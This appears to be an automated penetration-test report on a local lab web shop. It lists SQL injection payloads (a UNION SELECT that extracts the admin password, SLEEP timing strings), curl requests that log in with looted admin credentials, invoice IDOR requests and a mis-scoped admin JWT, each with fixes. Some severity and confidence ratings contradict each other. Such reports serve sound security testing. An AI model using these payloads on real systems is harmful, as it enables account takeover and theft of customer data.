⚠ Needs human review — DOWNGRADE_SCOPE_LIMITATION: the impact needs authenticated_session which this assessment could not reach; the mechanic stands · missing: an access-control claim needs the same resource requested as another identity
Where the problem is
POST http://localhost:3000/login
What it means
Observed:
+- attack POST http://localhost:3000/login → 200 (362 bytes) [E01]
+- Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -> HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -> SQLi/BOLA -> admin creds -> vertical privesc to admin. [E02]
+
+Not demonstrated: Complete administrative account takeover from an anonymous/low-priv start.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
+The assessment could not verify authenticated session — so this remains a potential impact rather than a demonstrated one.
+
+Potential impact: Complete administrative account takeover from an anonymous/low-priv start.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
How to fix it
Fix NS-01/NS-02 (credential exposure); store passwords hashed (bcrypt/argon2), rotate all leaked secrets.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s -X POST \
+ --data-raw 'username=admin&password=SuperSecretAdmin!2024' \
+ 'http://localhost:3000/login'
ATTACK
+ POST http://localhost:3000/login → 200
+ body (362 bytes, excerpt):
+ Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -> HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -> SQLi/BOLA -> admin creds -> vertical privesc to admin.
+
+AGENT-RECORDED EVIDENCE
+Admin password looted from NS-01 and NS-02. POST /login with admin:SuperSecretAdmin!2024 -> HTTP/1.1 302 Found, Location: /account, fresh authenticated nimbus.sid issued. Admin-only GET /admin/search-users then returned full user directory (username/email/role/bio of ~90 users). Chain: customer foothold -> SQLi/BOLA -> admin creds -> vertical privesc to admin.
Low 16. Second-order SQLi (profile bio -> admin search) chained to admin-panel compromise via looted credential
Criticality
Low
Status
confirmed
OWASP / CWE
A03:2021-Injection · CWE-89
Confidence
0/1 · conf 0.20
Location
sink GET http://localhost:3000/admin/search-users?q= ; source POST /account/profile (bio)
Agent
chain
Where the problem is
sink GET http://localhost:3000/admin/search-users?q= ; source POST /account/profile (bio)
What it means
Observed:
+- attack GET (bio) → 200 (336 bytes) [E01]
+- Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -> logged in POST /login username=admin -> 302 /account, then GET /admin -> 200 '<title>Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh. [E02]
+
+Not demonstrated: Stored injection executes in privileged admin query; combined with credential loot yields full admin-panel takeover end-to-end.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
+The assessment could not verify authenticated session, command output observed — so this remains a potential impact rather than a demonstrated one.
+
+Potential impact: Stored injection executes in privileged admin query; combined with credential loot yields full admin-panel takeover end-to-end.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.4 if fully exploited).
How to fix it
Parameterize admin search; sanitize stored bio at use; hash passwords.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ '(bio)'
Payload used:
+bio = zz' UNION SELECT 'NS_OP_PROOF',password,'pwned','x' FROM users WHERE username='admin'-- -
Payload
bio = zz' UNION SELECT 'NS_OP_PROOF',password,'pwned','x' FROM users WHERE username='admin'-- -
Technical evidence
ATTACK
+ GET (bio) → 200
+ body (336 bytes, excerpt):
+ Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -> logged in POST /login username=admin -> 302 /account, then GET /admin -> 200 '<title>Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh.
+
+AGENT-RECORDED EVIDENCE
+Foothold (given) reconfirmed as chain: stored bio fires in admin context (Flag BURPAT{web_sqli_second_order_01271d93}). Chained: NS-02 looted admin password -> logged in POST /login username=admin -> 302 /account, then GET /admin -> 200 '<title>Admin · NimbusCart' (vertical privesc, real admin session). pocs/second_order_sqli_bio.sh.
Runnable script (extra)
The steps above are the proof; this script automates them.
Low 17. Reflected DOM XSS lead: /?name= sink written to innerHTML in /app.js NEEDS REVIEW
Criticality
Low
Status
needs-review
OWASP / CWE
A03:2021-Injection · CWE-79
Confidence
0/1 · receipt_missing · conf 0.00
Location
GET http://localhost:3000/?name=
Agent
chain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: the class is decided by execution and no browser has run the payload
Where the problem is
GET http://localhost:3000/?name=
What it means
Observed:
+- attack GET http://localhost:3000/?name= → 200 (344 bytes) [E01]
+- app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead. [E02]
+
+Not demonstrated: If confirmed in-browser, reflected/DOM XSS -> session/token theft.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited).
+
+Potential impact: If confirmed in-browser, reflected/DOM XSS -> session/token theft.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 6.1 if fully exploited).
How to fix it
Use textContent or sanitize/encode before innerHTML.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/?name='
ATTACK
+ GET http://localhost:3000/?name= → 200
+ body (344 bytes, excerpt):
+ app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead.
+
+AGENT-RECORDED EVIDENCE
+app.js renderGreeting(): el.innerHTML = "Welcome back, " + name + "!" where name = URLSearchParams(location.search).get('name'), unsanitized. Also assistantWidget renders model reply via span.innerHTML (isHtmlAllowed=true). Static source analysis only — browser execution NOT proven (Playwright unavailable, target offline). Reported as lead.
Info 18. IDOR at GET /account/invoice/:id — customer reads other customers' invoices NEEDS REVIEW
Criticality
Info
Status
needs-review
OWASP / CWE
A01:2021-Broken-Access-Control · CWE-639
Confidence
1/1 · refute 1/2 · receipt_missing · conf 0.60
Location
GET http://localhost:3000/account/invoice/1001
Agent
chain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity
Where the problem is
GET http://localhost:3000/account/invoice/1001
What it means
Observed:
+- attack GET http://localhost:3000/account/invoice/1001 → 200 (330 bytes) [E01]
+- As customer nrsplt_26628: /account/invoice/1001 -> 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -> owner bob ($89.99); 1003 -> owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh [E02]
+
+Not demonstrated: Enumerate all invoices/PII/order totals across customers.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
+
+Potential impact: Enumerate all invoices/PII/order totals across customers.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Scope invoice lookup to the authenticated session's own records.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/account/invoice/1001'
Payload used:
+GET /account/invoice/1001..1003 as customer nrsplt_26628
Payload
GET /account/invoice/1001..1003 as customer nrsplt_26628
Technical evidence
ATTACK
+ GET http://localhost:3000/account/invoice/1001 → 200
+ body (330 bytes, excerpt):
+ As customer nrsplt_26628: /account/invoice/1001 -> 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -> owner bob ($89.99); 1003 -> owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh
+
+AGENT-RECORDED EVIDENCE
+As customer nrsplt_26628: /account/invoice/1001 -> 'Customer: alice ... IDOR confirmed: viewing another customer's invoice (owner: alice)... Flag: BURPAT{web_idor_invoice_aa8eeaa3}'; 1002 -> owner bob ($89.99); 1003 -> owner carol ($349.00, internal VIP note). Sequential integer ids, no ownership check. PoC: pocs/idor_invoice.sh
Runnable script (extra)
The steps above are the proof; this script automates them.
Info 19. IDOR at GET /account/invoice/:id — customer reads other customers' invoices NEEDS REVIEW
Criticality
Info
Status
needs-review
OWASP / CWE
A01:2021-Broken-Access-Control · CWE-639
Confidence
1/1 · refute 0/2 · receipt_missing · conf 0.60
Location
GET http://localhost:3000/account/invoice/1002
Agent
chain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity
Where the problem is
GET http://localhost:3000/account/invoice/1002
What it means
Observed:
+- attack GET http://localhost:3000/account/invoice/1002 → 200 (277 bytes) [E01]
+- pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002->'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003->carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities. [E02]
+
+Not demonstrated: Cross-customer PII/billing disclosure via predictable sequential ids.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
+
+Potential impact: Cross-customer PII/billing disclosure via predictable sequential ids.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders. (potential CVSS 9.1 if fully exploited).
How to fix it
Scope invoice lookup to the authenticated user; use unguessable ids as defense-in-depth.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/account/invoice/1002'
Payload used:
+session=alice; GET /account/invoice/1002 (bob), /account/invoice/1003 (carol)
Payload
session=alice; GET /account/invoice/1002 (bob), /account/invoice/1003 (carol)
Technical evidence
ATTACK
+ GET http://localhost:3000/account/invoice/1002 → 200
+ body (277 bytes, excerpt):
+ pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002->'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003->carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities.
+
+AGENT-RECORDED EVIDENCE
+pocs/invoice_idor.sh — alice's own invoice=1001 (Customer: alice, $29.99). Sequential 1002->'Customer: bob $89.99' + banner 'read ... invoice (owner: bob) without authorization', 1003->carol $349.00. Flag BURPAT{web_idor_invoice_aa8eeaa3}. Same page schema across identities.
Runnable script (extra)
The steps above are the proof; this script automates them.
Info 20. Time-based blind SQL injection at POST /support/feedback (comment field) NEEDS REVIEW
Criticality
Info
Status
needs-review
OWASP / CWE
A03:2021-Injection · CWE-89
Confidence
0/1 · corroborated by chain · conf 0.55
Location
POST http://localhost:3000/support/feedback
Agent
api_bola_numeric_ids
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: no baseline was captured, so no difference can be attributed to the payload; the difference was observed 0 time(s); this class needs it to reproduce
Where the problem is
POST http://localhost:3000/support/feedback — Body field `comment` on POST /support/feedback. Reaches a SQL time function; `SLEEP(n)` delays the response by n seconds. Unauthenticated.
What it means
Observed:
+- attack POST http://localhost:3000/support/feedback → 200 (941 bytes) [E01]
+- Baseline POST comment=benign_marker_ns -> HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -> 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -> 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -> 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -> 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (>=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build. [E02]
+
+Not demonstrated: MEASURED: attacker-controlled `comment` steers query execution time (SLEEP oracle), enabling boolean/time-based blind extraction of arbitrary DB contents without authentication. Response delay is fully controllable (0/3/5s).
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
+
+Potential impact: MEASURED: attacker-controlled `comment` steers query execution time (SLEEP oracle), enabling boolean/time-based blind extraction of arbitrary DB contents without authentication. Response delay is fully controllable (0/3/5s).
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Parameterise the INSERT/query behind /support/feedback; do not concatenate `comment` into SQL.
ATTACK
+ POST http://localhost:3000/support/feedback → 200
+ body (941 bytes, excerpt):
+ Baseline POST comment=benign_marker_ns -> HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -> 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -> 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -> 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -> 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (>=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build.
+
+AGENT-RECORDED EVIDENCE
+Baseline POST comment=benign_marker_ns -> HTTP 200 in 0.0008s. Attack comment="x' AND SLEEP(3)-- -" -> 200 in 3.003s; comment="x' AND SLEEP(5)-- -" -> 200 in 5.003s; comment="x' AND SLEEP(4)-- -" -> 4.003s/4.003s on two repeats; control comment="x' AND SLEEP(0)-- -" -> 0.002s. Delay magnitude tracks the integer argument exactly and is reproducible (>=2). pg_sleep(3) also delays 3s; WAITFOR did not. IMPORTANT (scope honesty): the boolean oracle does NOT discriminate — comment="x' AND IF(1=1,SLEEP(3),0)-- -" and "x' AND IF(1=2,SLEEP(3),0)-- -" BOTH delayed 3s, and IF(SUBSTRING(@@version,1,1)='5'...) vs '8' both delayed; plain prose "I really want to sleep(3) tonight" and bare "SLEEP(3)" (no quote / no SQL break) also delay 3s. So the injected sleep function executes server-side and timing is fully input-controlled, but conditional branching is not observably evaluated, so blind data extraction is not demonstrated in this build.
Info 21. Privilege misassignment: GET /account/api-token mints a role:admin JWT for a normal customer NEEDS REVIEW
Criticality
Info
Status
needs-review
OWASP / CWE
A04:2021-Insecure-Design · CWE-269
Confidence
0/1 · receipt_missing · conf 0.50
Location
GET http://localhost:3000/account/api-token
Agent
chain
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: an access-control claim needs the same resource requested as another identity
Where the problem is
GET http://localhost:3000/account/api-token
What it means
Observed:
+- attack GET http://localhost:3000/account/api-token → 200 (122 bytes) [E01]
+- Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin. [E02]
+
+Not demonstrated: Any customer obtains an admin-scoped token from the self-service token page; broadens blast radius of any role-gated API.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
+
+Potential impact: Any customer obtains an admin-scoped token from the self-service token page; broadens blast radius of any role-gated API.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Issue tokens with the user's actual role; do not hardcode role:admin at token issuance.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000/account/api-token'
Payload used:
+authenticated as customer alice -> issued JWT
Payload
authenticated as customer alice -> issued JWT
Technical evidence
ATTACK
+ GET http://localhost:3000/account/api-token → 200
+ body (122 bytes, excerpt):
+ Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin.
+
+AGENT-RECORDED EVIDENCE
+Decoded token payload: {"id":2,"username":"alice","role":"admin",...}. A standard customer's API token carries role:admin.
Info 22. Test accounts created during the engagement (DELETE after) NEEDS REVIEW
Criticality
Info
Status
needs-review
OWASP / CWE
A04:2021-Insecure-Design
Confidence
conf 0.60
Location
http://localhost:3000
Agent
account_registration_and_forms
Auth context
n/a · 9 test account(s)
⚠ Needs human review — DOWNGRADE_UNPROVEN_IMPACT: the mechanic is demonstrated; the claimed impact is not, and is reported as potential · missing: out of reach for this assessment: no deterministic validator owns this class
Where the problem is
http://localhost:3000
What it means
Observed:
+- attack GET http://localhost:3000 → 200 (1115 bytes) [E01]
+- 9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here). [E02]
+- • nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign) [E03]
+- • nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76 [E04]
+- • nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77 [E05]
+- • nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run [E06]
+- • nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run [E07]
+- • nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run [E08]
+- • admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm [E09]
+- • nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78 [E10]
+- • nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79 [E11]
+
+Not demonstrated: Operational cleanup: remove these accounts once testing is complete.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
+
+Potential impact: Operational cleanup: remove these accounts once testing is complete.
+
+Identified and validated by NeuroSploit (multi-model adversarial validation) — https://github.com/JoasASantos/NeuroSploit · by Joas A Santos & Red Team Leaders.
How to fix it
Delete the listed test accounts; rotate anything they touched.
Proof of concept — step by step
Send the request carrying the payload:
+curl -i -s \
+ 'http://localhost:3000'
Technical evidence
ATTACK
+ GET http://localhost:3000 → 200
+ body (1115 bytes, excerpt):
+ 9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
+ • nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign)
+ • nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76
+ • nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77
+ • nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run
+ • nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run
+ • nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run
+ • admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm
+ • nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78
+ • nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79
+
+AGENT-RECORDED EVIDENCE
+9 account(s) created for authenticated testing. Credentials are in vault.json (not shown here).
+• nrsplt_4095@example.test [customer] — created via curl POST /register username/email/password (also probed role=admin,isAdmin massassign)
+• nrsplt_a29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=76
+• nrsplt_b29000@example.test [customer] — created via curl POST username,email,password; auto session + JWT id=77
+• nrsplt_31817@example.test [customer] — created via auto-registered by PoC script during proof run
+• nrsplt_29092@example.test [customer] — created via auto-registered by PoC script during proof run
+• nrsplt_21339@example.test [customer] — created via auto-registered by PoC script during proof run
+• admin (EXISTING - not created) [admin] — created via leaked via BOLA /api/v2/users/1 and UNION SQLi; logged in to confirm
+• nrsplt_A_21463@example.test [customer] — created via curl POST username/email/password; id=78
+• nrsplt_B_21463@example.test [customer] — created via curl POST username/email/password; id=79
Authorized testing only. Confirmed findings passed multi-model voting, receipt grounding and adversarial refute; "needs-review" are flagged for a human. NeuroSploit v4.1.0 · by Joas A Santos & Red Team Leaders JOASNSCOPE-4171e1cb7a4c-ns-1789937421-localhost_3000
